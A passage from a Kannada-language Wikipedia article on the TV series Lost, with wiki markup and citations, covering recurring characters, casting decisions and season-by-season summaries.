url=http://abcmedianet.com/web/dnr/dispDNR.aspx?id=111708_01| title=ABC Premieres New Lost Music Video Debuting The Fray's New Single, "You Found Me" |publisher= [[American Broadcasting Company|ABC]] Medianet| date=November 17, 2008| accessdate= November 17, 2008}}</ref> ಹೀಗಿದ್ದರೂ, ಮೇಡರ್‌ನ್ನು ಐದನೇ ಸೀಸನ್‌ಗಾಗಿ ಪ್ರಚಾರಕ್ಕೆ ಬಳಸಿಕೊಂಡರು ಮತ್ತು ಕಾರ್ಯನಿರ್ವಾಹಕ ನಿರ್ಮಾಪಕ ಡಮೋನ್ ಲಿಂಡಲ್ಫ್ ಹೇಳುವಂತೆ "ಕಿಮ್ ಈಗಲೂ ಸರಣಿಯ ನಿರಂತರ ಪಾತ್ರ"<ref>{{cite web |url=http://featuresblogs.chicagotribune.com/entertainment_tv/2009/01/lostabctv.html |title=The ''Lost'' brain trust answers burning Season 5 questions |work=[[Chicago Tribune]] |author=Ryan, Maureen |date=January 13, 2009 |accessdate=January 14, 2009}}</ref> ಐದನೇ ಸೀಸನ್ನಿನ ನಾಲ್ಕನೇ ಕಂತಾದ "[[ದಿ ಲಿಟಲ್ ಪ್ರಿನ್ಸ್]]"ಗೆ ಕಿಮ್ ಕಾಣಿಸಿಕೊಂಡರು ಮತ್ತು ಜೆರೆಮೀ ಡೇವಿಸ್ ಸೀಸನ್ನಿನ ಕೊನೆಯತನಕವೂ ಇರುವಂತೆ ಐದನೇ ಕಂತಿನಲ್ಲಿನ ಸರಣಿಯಲ್ಲಿ ಮೇಡರ್ ಪಾತ್ರವನ್ನು ರಚಿಸಲಾಯಿತು. ಸಧ್ಯದಲ್ಲಿ ಆರನೇ ಸೀಸನ್ನಿಗೆ ಕೇವಲ ಎರಡು ಹೊಸ ಮುಖ್ಯ ಪಾತ್ರಗಳನ್ನು ಪ್ರಕಟಿಸಲಾಗಿದೆ. ರಿಚರ್ಡ್ ಅಲ್ಪೆರ್ಟ್ ಪತ್ರವಾಗಿ ನೆಸ್ಟರ್ ಕಾರ್ಬೊನೆಲ್‌ರವರು ಮೂರನೇ ಸೀಸನ್ನಿನ ನಂತರ ಪುನಃ ಸೇರಿಕೆಯಾಗಿ ನಿರಂತರ ಪಾತ್ರವಾಗಿ, [[ಫ್ರಾಂಕ್ ಲ್ಯಾಪಿಡಸ್]] ಪಾತ್ರವಾಗಿ [[ಜೆಫ್ ಫಾಹೆ]] ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾರೆ.<ref>{{cite web |url=http://content.usatoday.com/communities/popcandy/post/2009/10/a-lost-qa-damon-lindelof-tackles-your-questions/1 |title=A 'Lost' Q&A: Damon Lindelof answers (most of) your questions! |author=Matheson, Whitney |publisher=''[[USA Today]]'' |date=October 27, 2009 |accessdate=October 27, 2009}}</ref> ಕೆಲವು ಮಾಜಿ ತಾರಾಗಣದ ಸದಸ್ಯರಾದ ಇಯಾನ್ ಸಮರ್‌ಹೆಲ್ಡರ್, ರೆಬೆಕಾ ಮೇಡರ್, ಜೆರೆಮಿ ಡೇವಿಯಸ್ ಮತ್ತು ಎಲಿಝಬೆತ್ ಮಿಶೆಲ್ ಅವರು ಪುನಃ ಕಾಣಿಸಿಕೊಳ್ಳಲು ಸಮ್ಮತಿನೀಡಲಾಗಿದೆ. ಅಭಿವೃದ್ಧಿಗೊಂಡ ಕಥಾಸರಣಿಯಲ್ಲಿ ಅನೇಕ ಬೆಂಬಲದ ವ್ಯಕ್ತಿತ್ವಗಳನ್ನು ಮತ್ತೆ ರಚಿಸಲಾಗಿದೆ ಹಾಗೂ ಹೆಚ್ಚಿನ ಪ್ರೋತ್ಸಾಹವನ್ನು ನೀಡಲಾಗಿದೆ. ಪೂರ್ವಪ್ರಸಾರದ ಸರಣಿಯಲ್ಲಿ ಮೊದಲು ಧ್ವನಿ ಮುದ್ರಕನಾಗಿ ಪಾದಾರ್ಪಣೆಗೊಂಡ ಇತ್ತೀಚಿನ ವೈಜ್ಞಾನಿಕ ಪ್ರಯಾಣ ಕೈಗೊಂಡ [[ಡೇನಿಯಲ್ ರೋಸಿಯೂ]] ([[ಮಿರಾ ಫರ್ಲೆನ್]]) ಸರಣಿಯಲ್ಲಿ ನಿರಂತರವಾಗಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತಾರೆ; ನಂತರದಲ್ಲಿ [[ಅಲೆಕ್ಸ್ ರೋಸಿಯೋ]] ([[ಟಾನಿಯಾ ರೇಮಂಡ್]])ಆಗಿ ಬದಲಾಗಿರುವ, ತಮ್ಮ ಮಗಳಿಗಾಗಿ ಇವಳು ಹುಡುಕುತ್ತಿದ್ದಾಳೆ. ಎರಡನೇ ಸೀಸನ್ನಿನಲ್ಲಿ, ಮದುವೆಯಾಗಿರುವ ಜೋಡಿಯಾದ [[ರೋಸ್ ಹೆಂಡರ್‌ಸನ್]]([[ಎಲ್. ಸ್ಕಾಟ್ ಕಾಲ್ಡ್‌ವೆಲ್]]) ಮತ್ತು [[ಬರ್ನಾರ್ಡ್ ನ್ಯಾಡ್ಲರ್]]([[ಸ್ಯಾಮ್ ಆ‍ಯ್‌ಂಡರ್‌ಸನ್]])ರವರನ್ನು ದ್ವೀಪದ ಎರಡು ಬದಿಗೆ ಪ್ರತ್ಯೇಕಿಸಲಾಗುತ್ತದೆ.(ಅವಳನ್ನು ಮುಖ್ಯ ವ್ಯಕ್ತಿತ್ವದ ಜೊತೆಗೆ, ಅವನನ್ನು ವಿಮಾನದ ಹಿಂಭಾಗದಲ್ಲಿನ ಪಾರಾಗಿ ಉಳಿದಿರುವವರ ಜೊತೆ ಇಡಲಾಗಿತ್ತು.) ಇವರು ಒಂದಾದ ಮೇಲೆ ಫ್ಲ್ಯಾಷ್‌ಬ್ಯಾಕ್ ಕಂತಿನಲ್ಲಿ ತೋರಿಸಲಾಯಿತು. ಕಾರ್ಪೋರೇಟ್ ಅಯಸ್ಕಾಂತಗಳಾದ [[ಚಾರ್ಲ್ಸ್ ವಿಡ್‌ಮೋರ್]], [[ಅಲನ್ ಡೇಲ್‌]]ರವರು ಬೆನ್ ಮತ್ತು ಡೆಸ್ಮಂಡ್‌ರ ಜೊತೆ ಸಂಬಂಧವನ್ನು ಹೊಂದಿದ್ದರು. ಡೆಸ್ಮಂಡ್ ಪಾತ್ರವು [[ಪೆನೆಲೋಪ್ "ಪೆನ್ನಿ" ವಿಡ್‌ಮೋರ್‌]]ನ ಮಗಳಾದ [[ಸೋನ್ಯಾ ವಾಲ್ಗರ್‌]] ಜೊತೆಗೆ ಪ್ರೀತಿಯನ್ನು ಹೊಂದಿತ್ತು. ದ್ವೀಪ ಜೀವಿಗಳಾದ "[[ಅದರ್ಸ್]]"ನ ಪರಿಚಯವು ಈ ಕೆಲವು ವ್ಯಕ್ತಿತ್ವಗಲನ್ನು ಹೊಂದಿತ್ತು: ಅವುಗಳೆಂದರೆ, [[ಟಾಮ್]] ಅಕಾ ಮಿ. ಫ್ರೆಂಡ್ಲೀ ([[ಎಂ.ಸಿ.ಗೇನೀ]]), [[ಈಥನ್ ರೋಮ್]] ([[ವಿಲಿಯಮ್ ಮಾಪೊಥರ್]]), ಮತ್ತು [[ರಿಸರ್ಡ್ ಅಲ್ಪೆರ್ಟ್]] ([[ನೆಸ್ಟರ್ ಕಾರ್ಬೊನೆಲ್]]). ಈ ಎಲ್ಲ ಪಾತ್ರಗಳನ್ನೂ ಫ್ಲ್ಯಾಷ್‌ಬ್ಯಾಕ್ ಮತ್ತು ಚಲಿಸುತ್ತಿರುವ ಕಥೆಯಲ್ಲಿ ಕಾಣಿಸಲಾಯಿತು. ಜ್ಯಾಕ್‌ನ ತಂದೆಯಾದ [[ಕ್ರಿಶ್ಚಿಯನ್ ಶೆಫರ್ಡ್]] ([[ಜಾನ್ ಜೆರ್ರಿ]])ನನ್ನು ಹಲವು ವ್ಯಕ್ತಿತ್ವಗಳ ಹಲವು ಫ್ಲ್ಯಾಷ್‌ಬ್ಯಾಕ್‌ಗಳಲ್ಲಿ ಕಾಣಿಸಲಾಯಿತು. ನಾಲ್ಕನೇ ಸೀಸನ್ನಿನಲ್ಲಿ, [[ಕೆವಿನ್ ಡುರಾಂಡ್‌]]ರವರು [[ಮಾರ್ಟಿನ್ ಕೀಮೀ]]ಯ ಪಾತ್ರವನ್ನು ವಹಿಸಿದ್ದರು ಮತ್ತು ತಂಡದ ಮುಖಂಡನಾದ [[ನವೋಮಿ ಡೊರಿಟ್]] ಪಾತ್ರವನ್ನು [[ಮಾರ್ಶಾ ಥಾಮ್ಸನ್]] ವಹಿಸಿದ್ದ ಇವರು ಓಸಿಯಾನಿಕ್ 815ರ ಅಪಘಾತದ ನಂತರ ದ್ವೀಪಕ್ಕೆ ಬಂದ ಮೊಟ್ಟಮೊದಲ ವ್ಯಕ್ತಿಗಳಾದರು. === ತಾರಾಗಣ === ಕಾರ್ಯನಿರ್ವಾಹಕ ನಿರ್ಮಾಪಕರ ಇಚ್ಛೆಯ ಮೇರೆಗೆ ಮೊದಲ ಸೀಸನ್ನಿನ ಹಲವು ಪಾತ್ರಗಳನ್ನು ಆರಿಸಲಾಯಿತು. ಮುಖ್ಯ ಪಾತ್ರವಾದ ಜ್ಯಾಕ್ ಪೂರ್ವ ಪ್ರಸಾರದ ಕಂತಿನಲ್ಲಿ ಸಾವಿಗೀಡಾಗುತ್ತಾರೆ ಮತ್ತು ಈ ಪಾತ್ರವನ್ನು [[ಮೈಕೆಲ್ ಕೀಟನ್]] ಮಾಡುವುದೆಂದು ಊಹಿಸಲಾಗಿತ್ತು. ಎಬಿಸಿಯ ಕಾರ್ಯನಿರ್ವಾಹಕರು ಜ್ಯಾಕ್ ಪಾತ್ರ ಪ್ರಸಾರದ ಬಗ್ಗೆ ಕಠಿಣ ಹೃದಯಿಗಳಾಗಿದ್ದರು.<ref name="DVD">{{cite video | title = Before They Were Lost | medium = [[Documentary film|Documentary]] | location = ''[[Lost DVD releases|Lost: The Complete First Season]]'' | publisher = [[Buena Vista Distribution|Buena Vista Home Entertainment]]}}</ref> ಈ ಹಿಂದೆ ಜಾಕ್ ಪಾತ್ರವನ್ನು ಪ್ರಸಾರದ ಬಗ್ಗೆ ತೀರ್ಮಾನಿಸಲಾಗಿತ್ತು. ಅಪಘಾತದಿಂದ ಪಾರಾಗಿ ಉಳಿದವರ ಮುಖಂಡನಾಗಿ ಕೇಟ್ ಕಾಣಿಸಿಕೊಂಡರು. ರೋಸ್ ವ್ಯಕ್ತಿತ್ವವನ್ನು ಹೋಲುವವಳೆಂದು ಅವರನ್ನು ಭಾವಿಸಲಾಗಿತ್ತು. ಡಾಮಿನಿಕ್ ಮೋನಾಗನ್‌ರನ್ನು ಸಾಯರ್ ಪಾತ್ರಕ್ಕಾಗಿ ಪರೀಕ್ಷಿಸಲಾಗಿತ್ತು. ಆ ಸಮಯದಲ್ಲಿ, ಮುಖವಾಡ ಹಾಕಿರುವ ನಗರದ ಮೋಸಗಾರನಾಗಬಲ್ಲನೆಂದು ಊಹಿಸಲಾಗಿತ್ತು. ನಿರ್ಮಾಪಕರು ಮೋನಾಗನ್‌ನ ಸಾಮರ್ಥ್ಯದಿಂದ ಸಂತುಷ್ಟರಾಗಿ ಚಾರ್ಲಿಯ ಪಾತ್ರಕ್ಕೆ ಬದಲಾಯಿಸಿದರು. ಮೂಲದಲ್ಲಿ ಈ ಮಧ್ಯ ವಯಸ್ಸಿನ ಮಾಜಿ ರಾಕ್ ಸ್ಟಾರ್ ಇದಕ್ಕೆ ಸೂಕ್ತವಾಗಿದ್ದರು. ಜಾರ್ಜ್ ಗಾರ್ಸಿಯಾ ಕೂಡಾ ಸಾಯರ್ ಪಾತ್ರಕ್ಕಾಗಿ ಪರೀಕ್ಷೆಗೆ ಒಳಪಟ್ಟಿದ್ದರು ಮತ್ತು ಹರ್ಲೀಯ ಭಾಗ ಮಾತ್ರವನ್ನು ಇವರಿಗಾಗಿ ಬರೆಯಲಾಗಿತ್ತು. ಜೋಶ್ ಹೋಲೋವೇಯವರು ಸಾಯರ್ ಪಾತ್ರಕ್ಕೆ ಪರೀಕ್ಷಿಸಲ್ಪಟ್ಟಾಗ, ವ್ಯಕ್ತಿತ್ವಕ್ಕೆ ಕಳೆಕಟ್ಟಿದ ಕಾರಣಕ್ಕೆ (ವರದಿಯಾದಂತೆ, ಇವರು ಸಂಭಾಷಣೆಯನ್ನು ಮರೆತಾಗ ಕುರ್ಚಿಯನ್ನು ಒದ್ದರು ಮತ್ತು ಪರೀಕ್ಷೆಯಲ್ಲಿ ಸಿಟ್ಟಾಗಿದ್ದರು) ಮತ್ತು ಅವರ [[ದಕ್ಷಿಣದ ಮಾತಿನ ಶೈಲಿ]]ಯನ್ನು ಮೆಚ್ಚಿಕೊಂಡ ನಿರ್ಮಾಪಕರು ಹಾಲೋವೇಯ ಪಾತ್ರಕ್ಕೆ ಸೂಕ್ತವೆಂದು ಸಾಯರ್‌‍ ಅನ್ನು ಬದಲಾಯಿಸಿದರು. ಯುಂಜಿನ್ ಕಿಮ್‌ರವರು ಕೇಟ್ ಪಾತ್ರಕ್ಕಾಗಿ ಪರೀಕ್ಷೆಗೆ ಒಳಪಟ್ಟರು. ಆದರೆ ಇವರನ್ನು ಆ ಪಾತ್ರದ ಮಗನಾದ ಜಿನ್ ಪಾತ್ರಕ್ಕೆ ಆರಿಸಲಾಯಿತು. ಆ ಪಾತ್ರದ ಗಂಡನಾಗಿ ಡೇನಿಯಲ್ ಡೇ ಕಿಮ್‌ ನಿರ್ವಹಿಸಿದರು. ಮೂಲ ಹಸ್ತಪ್ರತಿಯಲ್ಲಿಲ್ಲದ ಸಯೀದ್ ಪಾತ್ರವನ್ನು ನವೀನ್ ಆ‍ಯ್ಂಡ್ರ್ಯೂಸ್ ನಿರ್ವಹಿಸಿದರು. ಲಾಕ್ ಮತ್ತು ಮೈಕೆಲ್ ಪಾತ್ರವನ್ನು ಅವರ ಪಾತ್ರಧಾರಿಗಳನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಬರೆಯಲಾಯಿತು. ಹಿಂತಿರುಗುವ ಪಾತ್ರವೆಂದು ಗೃಹಿಸಲಾಗಿದ್ದ ಕ್ಲಾರೀ ಪಾತ್ರವನ್ನು ಎಮಿಲೀ ಡೆ ರೇವಿನ್ ನಿರ್ವಹಿಸಿದರು.<ref name="DVD"/> ಎರಡನೇ ಸೀಸನ್ನಿನಲ್ಲಿ, ಮೈಕೆಲ್ ಎಮರ್ಸನ್‌ರನ್ನು ಮೂರು ಕಂತುಗಳಿಗಾಗಿ ಬೆನ್("ಹೆನ್ರಿ ಗೇಲ್") ಪಾತ್ರವನ್ನು ನಿರ್ವಹಿಸುವುದಕ್ಕೆ ಒಪ್ಪಂದ ಮಾಡಿಕೊಳ್ಳಲಾಯಿತು. ಅವರ ನಟನಾ ಚಾತುರ್ಯದ ಕಾರಣದಿಂದ ಅವರ ಪಾತ್ರವನ್ನು ಎಂಟು ಕಂತುಗಳಿಗೆ ಮತ್ತು ಮೂರನೇ ಸೀಸನ್ನಿನ ಪೂರ್ತಿ ಹಾಗೂ ನಂತರದ ಸೀಸನ್ನುಗಳಿಗೆ ವಿಸ್ತರಿಸಲಾಯಿತು.<ref>{{cite web|url=http://www.ugo.com/ugo/html/article/?id=16663|author=Braun, Kyle|title=Michael Emerson, ''Lost'' Interview|publisher=[[UGO Networks]]|accessdate=2008-03-21|archive-date=2008-04-09|archive-url=https://web.archive.org/web/20080409144208/http://www.ugo.com/ugo/html/article/?id=16663|url-status=dead}}</ref> == ಸೀಸನ್ ಮುಖ್ಯಾಂಶ == {{Main|List of Lost episodes}} === ಒಂದನೇ ಸೀಸನ್ (2004-2005) === {{Main|Lost (season 1)}} 25 ಕಂತುಗಳನ್ನು ಹೊಂದಿದ ಒಂದನೇ ಸೀಸನ್ನು ಸಪ್ಟೆಂಬರ್ 22, 2004ರಂದು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸಂಜೆ 8:00ಕ್ಕೆ ಬುಧವಾರದಂದು ಆರಂಭವಾಯಿತು. ಓಸಿಯಾನಿಕ್ ಫ್ಲೈಟ್ 815ರ ವಿಮಾನ ಅಪಘಾತದ ಪ್ರಯಾಣಿಕರ ತೊಂದರೆಗಳು [[ಡೆಸರ್ಟೆಡ್ ಟ್ರೋಪಿಕಲ್ ಐಲ್ಯಾಂಡ್‌]]ನಲ್ಲಿ ಕಂಡುಬರುವಂತೆ, ಬದುಕುವುದಕ್ಕೆ ಜೊತೆಯಾಗಿ ಕೆಲಸಮಾಡುವ ಕಷ್ಟಜೀವಗಳ ಸಮೂಹವನ್ನು ಬೆಂಬಲಿಸುತ್ತದೆ. ಪಾರಾಗಿ ಉಳಿದಿರುವ ಜನರು ಹಿಮಪ್ರದೇಶದ ಕರಡಿಯಂಥ ನಿಗೂಢ ಜೀವಿಗಳಿಂದಾಗಿ ಬಾಧೆಯನ್ನು ಅನುಭವಿಸಿದರು.ಕಾಡಿನಲ್ಲಿ ಸಂಚರಿಸುವ ಕಾಣದ ಜೀವಿಗಳು ಮತ್ತು ದ್ವೀಪದ ಅಪಾಯಕಾರೀ ಜೀವಿಗಳನ್ನು "ಅದರ್ಸ್" ಎಂದು ಕರೆಯಲಾಗಿತ್ತು. ಈ ದ್ವೀಪದಲ್ಲಿ 16 ವರ್ಷಕ್ಕಿಂತ ಮುಂಚೆ ಒಡೆದಹಡಗಿನಿಂದ ಉದ್ಯಾನದಲ್ಲಿ ತುಂಡಾಗಿ ಬಿದ್ದ ನಿಗೂಢ ಲೋಹಗಳನ್ನು ಹುಡುಕಿದ ಫ್ರೆಂಚ್ ಮಹಿಳೆಯಾದ ಡೇನಿಯಲ್ ರಸ್ಸೋಯೀಯನ್ನು ಅವರು ಕೊಂದುಹಾಕುತ್ತಾರೆ. ದೋಣಿಯ ಮೂಲಕ ದ್ವೀಪವನ್ನು ಬಿಡುವುದಕ್ಕೆ ಈ ಘಟನೆಯು ಕಾರಣವಾಗುತ್ತದೆ. === ಎರಡನೇ ಸೀಸನ್ (2005-2006) === {{Main|Lost (season 2)}} ಕೆನಡಾ ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಬುಧವಾರದಂದು ಸಂಜೆ 9 ಗಂಟೆಗೆ ಸಪ್ಟೆಂಬರ್ 21, 2005ರಂದು 24 ಕಂತುಗಳನ್ನು ಹೊಂದಿರುವ ಎರಡನೇ ಸೀಸನ್ನು ಆರಂಭವಾಯಿತು. ಅಪಘಾತವಾದ 45 ದಿನಗಳ ನಂತರದಲ್ಲಿ ನಿರಂತರವಾಗಿ, ಪಾರಾಗಿ ಉಳಿದಿರುವ ಜೀವಿಗಳ ಮತ್ತು ಇತರರ ಮಧ್ಯೆ ಬೆಳೆಯುವ ಸಂಘರ್ಷಗಳನ್ನು ತೊರಿಸುವ ಮತ್ತು ಕೆಲವು ಕಂತುಗಳಲ್ಲಿ ನಂಬಿಕೆ ಮತ್ತು ವೈಜ್ಞಾನಿಕ ಸಿದ್ಧಾಂತಗಳ ಘರ್ಷಣೆಗಳ ಜೊತೆಗೆ ಹೆಚ್ಚಿನ ಭಾಗದ ಕಥೆ ಮುಂದುವರಿಯುತ್ತದೆ. ಅದೇವೇಳೆ ಕೆಲವು ನಿಗೂಢಗಳು ಬಗೆಹರಿದವು ಹಾಗೂ ಕೆಲವು ಹೊಸ ಪ್ರಶ್ನೆಗಳು ಎದ್ದವು. ವಿಮಾನದ ಹಿಂಭಾಗದಲ್ಲಿ ಪಾರಾಗಿ ಉಳಿದಿರವ ಮತ್ತು ದ್ವೀಪದ ಇತರ ಜೀವಿಗಳ ಹೊಸ ವ್ಯಕ್ತಿತ್ವಗಳು ಪರಿಚಯಿಸಲ್ಪಟ್ಟವು. ಹಲವು ಹಿಂದಿನ, ದ್ವೀಪದ ಪೌರಾಣಿಕ ವಿಚಾರಗಳು ಮತ್ತು ಒಳನೋಟಗಳು ಕಂಡುಬಂದವು. ವಿಮಾನದ ಬಾಗಿಲು ತೀರ್ಮಾನಿಸಲ್ಪಟ್ಟಿತು ಮತ್ತು [[ಧರ್ಮಾ ಇನಿಶಿಯೇಟಿವ್‌ನ]] ಅಸ್ತಿತ್ವ ಮತ್ತು ಇದರ ಆಪದ್ಭಾಂಧವನಾದ [[ಹ್ಯಾನ್ಸೋ ಫೌಂಡೇಶನ್]] ಅಸ್ತಿತ್ವಕ್ಕೆ ಬಂತು. ನಿಗೂಢ ಅದರ್ಸ್‌ನ ನಿಜವು ತೆರೆದುಕೊಳ್ಳಲು ಆರಂಭವಾಯಿತು. ವಿಮಾನ ಅಪಘಾತದಿಂದ ಉಳಿದ ವ್ಯಕ್ತಿಯು ಇನ್ನೊಬ್ಬನಿಗೆ ವಿಶ್ವಾಸ ದ್ರೋಹ ಮಾಡಲಾರಂಭಿಸಿದ ಮತ್ತು ವಿಮಾನ ಅಪಘಾತಕ್ಕೀಡಾದುದರ ಕಾರಣವನ್ನು ಹೊರಗೆಡವಲಾಯಿತು. === ಮೂರನೇ ಸೀಸನ್ (2006-2007) === {{Main|Lost (season 3)}} ಕೆನಡಾ ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಬುಧವಾರದಂದು ಸಂಜೆ 9 ಗಂಟೆಗೆ ಅಕ್ಟೋಬರ್ 4, 2006ರಂದು 23 ಕಂತುಗಳನ್ನು ಹೊಂದಿರುವ ಮೂರನೇ ಸೀಸನ್ನು ಆರಂಭವಾಯಿತು. ಬದಲಾವಣೆಗಳೊಂದಿಗೆ ಸರಣಿಯು ಪೆಬ್ರುವರಿ 7, 2007 ಹಿಂತಿರುಗಿತು ಮತ್ತು ರಾತ್ರಿ ಹತ್ತು ಗಂಟೆಗೆ ಪ್ರಸಾರವಾಯಿತು. ಅಪಘಾತದ 67 ದಿನದ ನಂತರದ ಕಥೆಯು ಮುಂದುವರಿಯಿತು. ದ್ವೀಪದಲ್ಲಿನ ಅದರ್ಸ್‌ಗಳ ಬಗ್ಗೆ ಮತ್ತು ಅವರ ಇತಿಹಾಸವನ್ನು ಹೆಚ್ಚು ತಿಳಿದುಕೊಳ್ಳುತ್ತಿದ್ದಂತೆ, ಅಪಘಾತದಿಂದ ಪಾರಾಗಿ ಉಳಿದಿರುವ ಹೊಸಬರು ಮತ್ತು ಅದರ್ಸ್‌ರನ್ನು ಪರಿಚಯಿಸಲಾಯಿತು. ಪಾರಾಗಿ ಉಳಿದಿರುವ ಮನುಷ್ಯರನ್ನು ಅದರ್ಸ್‌ನಿಂದಾಗಿ ಜೀವಕಳೆದುಕೊಂಡಂತೇ ಒಬ್ಬೊಬ್ಬರೇ ಅದರ್ಸ್ ಮತ್ತು ಪಾರಾಗಿ ಉಲಿದಿರುವ ಮನುಷ್ಯರು ಹೊಸದಾಗಿ ಸೇರುತ್ತಾ ಬಂದರು. ಅದರ್ಸ್ ಮತ್ತು ಪಾರಾಗು ಉಳಿದಿರುವ ಮನುಷ್ಯರ ಮಧ್ಯೆ ಯುದ್ಧವು ತಲೆದೋರಲಾರಂಭಿಸಿತು. ಮತ್ತು ಪಾರಾಗು ಉಳಿದಿರುವ ಮನುಷ್ಯರು ರಕ್ಷಣಾ ತಂಡವನ್ನು ಸಂಪರ್ಕಿಸುವಂತೆ ಮಾಡಲಾಯಿತು. === ನಾಲ್ಕನೇ ಸೀಸನ್ (2008) === {{Main|Lost (season 4)}} ನಾಲ್ಕನೇ ಸೀಸನ್‌ಅನ್ನು,ಆರಂಭದಲ್ಲಿ ಕೆನಡಾ ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಜನವರಿ 31, 2008ರಂದು([[ಅಮೆರಿಕದ ಬರಹಗಾರರ ಒಕ್ಕೂಟದ ಮುಷ್ಕರ]]ಕ್ಕೂ ಮೊದಲು) ಆರಂಭಿಸಲು ಯೋಜಿಸಲಾಯಿತು.<ref name="s4">ಹರ್ಟ್‌ಮನ್, ಹೋಪ್ &amp; ರವ್ಸ್, ಅಲಿಸನ್ (ಡಿಸೆಂಬರ್ 14, 2007) "[http://abcmedianet.com/web/dnr/dispDNR.aspx?id=121407_01 ಎಬಿಸಿ ಅನ್‌ವೀಲ್ಸ್ ಮಿಡ್‌ಸೀಸನ್ ಪ್ರೈಮ್‌ಟೈಮ್ ಶೆಡ್ಯೂಲ್]," ''ಎಬಿಸಿ ಮೀಡಿಯಾನೆಟ್'' . ರಿಟ್ರೈವ್‌ಡ್ ಆನ್ ಡಿಸೆಂಬರ್ 14, 2007.</ref> ಬರಹಗಾರರ ಮುಷ್ಕರದ ಕಾರಣದಿಂದ 14 ಕಂತುಗಳಿಗೆ ಕೊನೆಗೊಂಡಿತು. ಇದು ಮುಷ್ಕರದ ಮೊದಲಿನ 8 ಕಂತುಗಳು ಮತ್ತು ಮುಷ್ಕರದ ನಂತರದ 6 ಕಂತುಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. [[ಓಶಿಯಾನಿಕ್ ಸಿಕ್ಸ್‌]]ನಿಂದ ತಪ್ಪಿಸಿಕೊಂಡು ದ್ವೀಪಕ್ಕೆ ಬಂದ ''ಕಹಾನಾ'' ಹಡಗಿನಿಂದ ಬಂದ ಜನರ ಜೊತೆ ವಿಮಾನದಿಂದ ಪಾರಾಗಿ ಉಳಿದಿರುವ ಮನುಷ್ಯರು ವ್ಯವಹರಿಸುವದನ್ನು ಮುಖ್ಯವಾಗಿ ಒಳಗೊಂಡಿತ್ತು. (ಅವರ ಪೂರ್ವ ದ್ವೀಪದ ಕೆಲಸಗಳನ್ನು [[ಫ್ಲ್ಯಾಷ್‌ಫಾರ್‌ವರ್ಡ್ಸ್‌]]ನಲ್ಲಿ ತೋರಿಸಲಾಗಿತ್ತು. === ಐದನೇ ಸೀಸನ್ (2009) === {{Main|Lost (season 5)}} ಕೆನಡಾ ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಬುಧವಾರದಂದು ಸಂಜೆ 9 ಗಂಟೆಗೆ ಜನವರಿ 21, 2009ರಂದು 17 ಕಂತುಗಳನ್ನು ಹೊಂದಿರುವ ಐದನೇ ಸೀಸನ್ನು ಆರಂಭವಾಯಿತು. ಎರಡು ಸಮಯದ ಸರಣಿಯನ್ನು ಐದನೇ ಸೀಸನ್ ಹಿಂಬಾಲಿಸುತ್ತಿತ್ತು. ಮೊದಲನೇ ಸರಣಿಯು, 1977ರಲ್ಲಿ [[ಧರ್ಮಾ ಇನಿಶಿಯೇಟಿವ್‌]]ಗೆ ಅಂತಿಮವಾಗಿ ಸಿಕ್ಕಿಬೀಳುವವರೆಗೆ ಪಾರಾಗಿ ಉಳಿದಿರುವವರು ದ್ವೀಪದಲ್ಲಿ ಹಿಂದೆ ಮುಂದೆ ಓಡಡುತ್ತಿರುವುದನ್ನು ಒಳಗೊಂಡಿತ್ತು. ಎರಡನೆಯ ಸರಣಿಯು, 2007ರಲ್ಲಿ ಅಜಿರಾ ಏರ್‌ವೇಸ್ ಫ್ಲೈಟ್ 316ನಲ್ಲಿ ಓಶಿಯಾನಿಕ್ ಸಿಕ್ಸ್‌ನ್ನು ಹಿಂಬಾಲಿಸುವ ಮತ್ತು ಎರಡೂ ತಂಡಗಳು ದ್ವೀಪದಿಂದ ನಿರ್ಗಮಿಸುವ ನಿಜವಾದ ಸಮಯದ ಸರಣಿಯನ್ನು ಹೊಂದಿದೆ. === ಆರನೇ ಸೀಸನ್ (2010) === {{Main|Lost (season 6)}} ಮೇ 7, 2007ರಂದು ಎಬಿಸಿ ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್‌ನ ಅಧ್ಯಕ್ಷ ಸ್ಟೀಫನ್ ಮೆಕ್ಫೆರ್ಸನ್ ಹೇಳಿದಂತೆ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು 2009-2010 ರ ಸಮಯದಲ್ಲಿ "ಗರಿಷ್ಠ ಕುತೂಹಲಭರಿತ ಮತ್ತು ಆಶ್ಚರ್ಯಕರ ಅಂತ್ಯ"ದಿಂದ ಸೀಸನ್ ಮುಕ್ತಾಯಗೊಳ್ಳಲಿದೆ.<ref name="Conclusion 2007">[https://web.archive.org/web/20070510030616/http://www.abcmedianet.com/assets/pr%5chtml/050707_01.html ಎಬಿಸಿಯು 48ಕ್ಕೂ ಹೆಚ್ಚು ಜನಪ್ರಿಯ ಮೂಲ ಕಂತುಗಳನ್ನು ಕೊಟ್ಟಿದೆ. ''ಲಾಸ್ಟ್'' , ಕಲ್ಮಿನೇಟಿಂಗ್ ಇನ್ ಎನ್ ಎಕ್ಸೈಟಿಂಗ್ ಸಿರೀಸ್ ಕನ್‌ಕ್ಲೂಶನ್] ಪೋಸ್ಟಡ್ ಮೇ 7, 2007. ರಿಟ್ರೈವ್‌ಡ್ ಫ್ರಂ ಇಂಟರ್ನೆಟ್ ಅರ್ಚೀವ್ ಆನ್ ಮೇ 10,2007</ref> "''ಲಾಸ್ಟ್'' ಸರಣಿಗೆ ಕ್ರಿಯಾಶೀಲವಾದ ಅಂತ್ಯವನ್ನು ನೀಡುವುದಕ್ಕೆ ಇದೊಂದೇ ದಾರಿಯೆಂದು ನಾವು ಭಾವಿಸಿದ್ದೇವೆ.<ref name="Conclusion 2007"/>" 2007-2008ರ ಟೆಲೆವಿಷನ್ ಸೀಸನ್ನಿನ ಆರಂಭದಲ್ಲಿ, ಪ್ರತೀ 16 ಕಂತುಗಳ ಮೂರು ಸೀಸನ್ನುಗಳಾಗಿ ಒಟ್ಟು 48 ಕಂತುಗಳ ಜೊತೆಗೆ 